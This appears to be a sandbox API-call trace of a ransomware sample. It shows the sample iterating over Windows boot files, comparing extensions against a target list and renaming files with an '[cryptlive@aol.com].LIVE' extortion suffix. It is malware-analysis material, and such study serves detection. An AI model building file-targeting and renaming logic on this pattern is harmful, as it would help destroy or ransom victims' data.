(lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.980] lstrlenW (lpString=".doc") returned 4 [0036.980] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.980] lstrlenW (lpString=".docx") returned 5 [0036.980] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.980] lstrlenW (lpString=".pdf") returned 4 [0036.980] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.980] lstrlenW (lpString=".xls") returned 4 [0036.980] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.980] lstrlenW (lpString=".xlsx") returned 5 [0036.980] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.980] lstrlenW (lpString=".ppt") returned 4 [0036.980] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.981] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.981] lstrlenW (lpString=".zip") returned 4 [0036.981] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.981] lstrlenW (lpString=".rar") returned 4 [0036.981] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.981] lstrlenW (lpString=".bz2") returned 4 [0036.981] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.981] lstrlenW (lpString=".7z") returned 3 [0036.981] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.981] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.981] lstrlenW (lpString=".dbf") returned 4 [0036.981] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.981] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.981] lstrlenW (lpString=".1cd") returned 4 [0036.981] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.981] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.981] lstrlenW (lpString=".jpg") returned 4 [0036.981] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.981] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.981] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.981] lstrlenW (lpString=".doc") returned 4 [0036.981] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.981] lstrlenW (lpString=".docx") returned 5 [0036.981] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.981] lstrlenW (lpString=".pdf") returned 4 [0036.981] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.981] lstrlenW (lpString=".xls") returned 4 [0036.981] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.981] lstrlenW (lpString=".xlsx") returned 5 [0036.981] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.981] lstrlenW (lpString=".ppt") returned 4 [0036.981] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.981] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.981] lstrlenW (lpString=".zip") returned 4 [0036.981] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.982] lstrlenW (lpString=".rar") returned 4 [0036.982] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.982] lstrlenW (lpString=".bz2") returned 4 [0036.982] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.982] lstrlenW (lpString=".7z") returned 3 [0036.982] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.982] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.982] lstrlenW (lpString=".dbf") returned 4 [0036.982] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.982] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.982] lstrlenW (lpString=".1cd") returned 4 [0036.982] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.982] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.982] lstrlenW (lpString=".jpg") returned 4 [0036.982] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.982] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0036.982] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.982] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0036.982] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=94800) returned 1 [0036.982] CloseHandle (hObject=0x168) returned 1 [0036.982] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0036.983] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0036.983] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.983] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.983] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.983] lstrlenW (lpString=".doc") returned 4 [0036.983] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.983] lstrlenW (lpString=".docx") returned 5 [0036.983] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.983] lstrlenW (lpString=".pdf") returned 4 [0036.983] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.983] lstrlenW (lpString=".xls") returned 4 [0036.983] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.983] lstrlenW (lpString=".xlsx") returned 5 [0036.983] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.983] lstrlenW (lpString=".ppt") returned 4 [0036.983] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.983] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.983] lstrlenW (lpString=".zip") returned 4 [0036.983] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.983] lstrlenW (lpString=".rar") returned 4 [0036.983] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.983] lstrlenW (lpString=".bz2") returned 4 [0036.983] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.983] lstrlenW (lpString=".7z") returned 3 [0036.983] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.983] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.983] lstrlenW (lpString=".dbf") returned 4 [0036.983] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.983] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.983] lstrlenW (lpString=".1cd") returned 4 [0036.983] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.983] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.983] lstrlenW (lpString=".jpg") returned 4 [0036.984] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.984] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.984] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.984] lstrlenW (lpString=".doc") returned 4 [0036.984] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.984] lstrlenW (lpString=".docx") returned 5 [0036.984] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.984] lstrlenW (lpString=".pdf") returned 4 [0036.984] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.984] lstrlenW (lpString=".xls") returned 4 [0036.984] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.984] lstrlenW (lpString=".xlsx") returned 5 [0036.984] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.984] lstrlenW (lpString=".ppt") returned 4 [0036.984] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.984] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.984] lstrlenW (lpString=".zip") returned 4 [0036.984] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.984] lstrlenW (lpString=".rar") returned 4 [0036.984] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.984] lstrlenW (lpString=".bz2") returned 4 [0036.984] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.984] lstrlenW (lpString=".7z") returned 3 [0036.984] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.984] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.984] lstrlenW (lpString=".dbf") returned 4 [0036.984] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.984] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.984] lstrlenW (lpString=".1cd") returned 4 [0036.984] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.984] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0036.984] lstrlenW (lpString=".jpg") returned 4 [0036.984] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.985] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0036.985] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.985] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0036.985] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=85056) returned 1 [0036.985] CloseHandle (hObject=0x168) returned 1 [0036.985] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0036.985] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0036.985] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.985] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.985] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.985] lstrlenW (lpString=".doc") returned 4 [0036.985] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.985] lstrlenW (lpString=".docx") returned 5 [0036.985] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.985] lstrlenW (lpString=".pdf") returned 4 [0036.985] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.985] lstrlenW (lpString=".xls") returned 4 [0036.985] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.985] lstrlenW (lpString=".xlsx") returned 5 [0036.985] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.985] lstrlenW (lpString=".ppt") returned 4 [0036.986] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.986] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.986] lstrlenW (lpString=".zip") returned 4 [0036.986] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.986] lstrlenW (lpString=".rar") returned 4 [0036.986] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.986] lstrlenW (lpString=".bz2") returned 4 [0036.986] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.986] lstrlenW (lpString=".7z") returned 3 [0036.986] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.986] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.986] lstrlenW (lpString=".dbf") returned 4 [0036.986] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.986] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.986] lstrlenW (lpString=".1cd") returned 4 [0036.986] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.986] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.986] lstrlenW (lpString=".jpg") returned 4 [0036.986] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.986] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.986] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.986] lstrlenW (lpString=".doc") returned 4 [0036.986] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.986] lstrlenW (lpString=".docx") returned 5 [0036.986] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.986] lstrlenW (lpString=".pdf") returned 4 [0036.986] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.986] lstrlenW (lpString=".xls") returned 4 [0036.986] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.986] lstrlenW (lpString=".xlsx") returned 5 [0036.986] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.986] lstrlenW (lpString=".ppt") returned 4 [0036.986] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.986] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.987] lstrlenW (lpString=".zip") returned 4 [0036.987] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.987] lstrlenW (lpString=".rar") returned 4 [0036.987] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.987] lstrlenW (lpString=".bz2") returned 4 [0036.987] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.987] lstrlenW (lpString=".7z") returned 3 [0036.987] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.987] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.987] lstrlenW (lpString=".dbf") returned 4 [0036.987] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.987] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.987] lstrlenW (lpString=".1cd") returned 4 [0036.987] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.987] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0036.987] lstrlenW (lpString=".jpg") returned 4 [0036.987] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.987] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0036.987] lstrlenW (lpString="memtest.exe.mui") returned 15 [0036.987] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0036.987] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=43600) returned 1 [0036.987] CloseHandle (hObject=0x168) returned 1 [0036.988] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0036.988] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0036.988] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.988] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.988] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.988] lstrlenW (lpString=".doc") returned 4 [0036.988] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.988] lstrlenW (lpString=".docx") returned 5 [0036.988] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.988] lstrlenW (lpString=".pdf") returned 4 [0036.988] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.988] lstrlenW (lpString=".xls") returned 4 [0036.988] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.988] lstrlenW (lpString=".xlsx") returned 5 [0036.988] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.988] lstrlenW (lpString=".ppt") returned 4 [0036.988] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.988] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.988] lstrlenW (lpString=".zip") returned 4 [0036.988] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.988] lstrlenW (lpString=".rar") returned 4 [0036.988] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.988] lstrlenW (lpString=".bz2") returned 4 [0036.988] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.988] lstrlenW (lpString=".7z") returned 3 [0036.988] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.988] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.988] lstrlenW (lpString=".dbf") returned 4 [0036.988] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.988] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.988] lstrlenW (lpString=".1cd") returned 4 [0036.989] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.989] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.989] lstrlenW (lpString=".jpg") returned 4 [0036.989] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.989] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.989] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.989] lstrlenW (lpString=".doc") returned 4 [0036.989] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.989] lstrlenW (lpString=".docx") returned 5 [0036.989] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.989] lstrlenW (lpString=".pdf") returned 4 [0036.989] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.989] lstrlenW (lpString=".xls") returned 4 [0036.989] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.989] lstrlenW (lpString=".xlsx") returned 5 [0036.989] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.989] lstrlenW (lpString=".ppt") returned 4 [0036.989] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.989] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.989] lstrlenW (lpString=".zip") returned 4 [0036.989] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.989] lstrlenW (lpString=".rar") returned 4 [0036.989] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.989] lstrlenW (lpString=".bz2") returned 4 [0036.989] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.989] lstrlenW (lpString=".7z") returned 3 [0036.989] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.989] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.989] lstrlenW (lpString=".dbf") returned 4 [0036.989] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.989] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.989] lstrlenW (lpString=".1cd") returned 4 [0036.989] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.989] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0036.989] lstrlenW (lpString=".jpg") returned 4 [0036.989] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.990] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0036.990] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.990] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0036.990] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=90192) returned 1 [0036.990] CloseHandle (hObject=0x168) returned 1 [0036.990] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0036.991] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0036.991] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.991] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0036.991] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0036.991] lstrlenW (lpString=".doc") returned 4 [0036.991] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.991] lstrlenW (lpString=".docx") returned 5 [0036.991] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.991] lstrlenW (lpString=".pdf") returned 4 [0036.991] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.991] lstrlenW (lpString=".xls") returned 4 [0036.991] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.991] lstrlenW (lpString=".xlsx") returned 5 [0036.991] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.991] lstrlenW (lpString=".ppt") returned 4 [0036.991] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.991] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0036.991] lstrlenW (lpString=".zip") returned 4 [0036.991] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.991] lstrlenW (lpString=".rar") returned 4 [0036.991] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.991] lstrlenW (lpString=".bz2") returned 4 [0036.991] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.991] lstrlenW (lpString=".7z") returned 3 [0036.991] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.993] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=89152) returned 1 [0036.993] CloseHandle (hObject=0x168) returned 1 [0036.993] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0036.993] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0036.993] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.994] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3694080) returned 1 [0036.994] CloseHandle (hObject=0x168) returned 1 [0036.994] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0036.994] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0036.994] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0037.069] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3876772) returned 1 [0037.069] CloseHandle (hObject=0x16c) returned 1 [0037.069] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0037.069] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.069] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0037.069] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2371360) returned 1 [0037.069] CloseHandle (hObject=0x16c) returned 1 [0037.069] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0037.069] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.069] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0037.070] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=47452) returned 1 [0037.070] CloseHandle (hObject=0x16c) returned 1 [0037.070] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0037.070] GetFileAttributesW 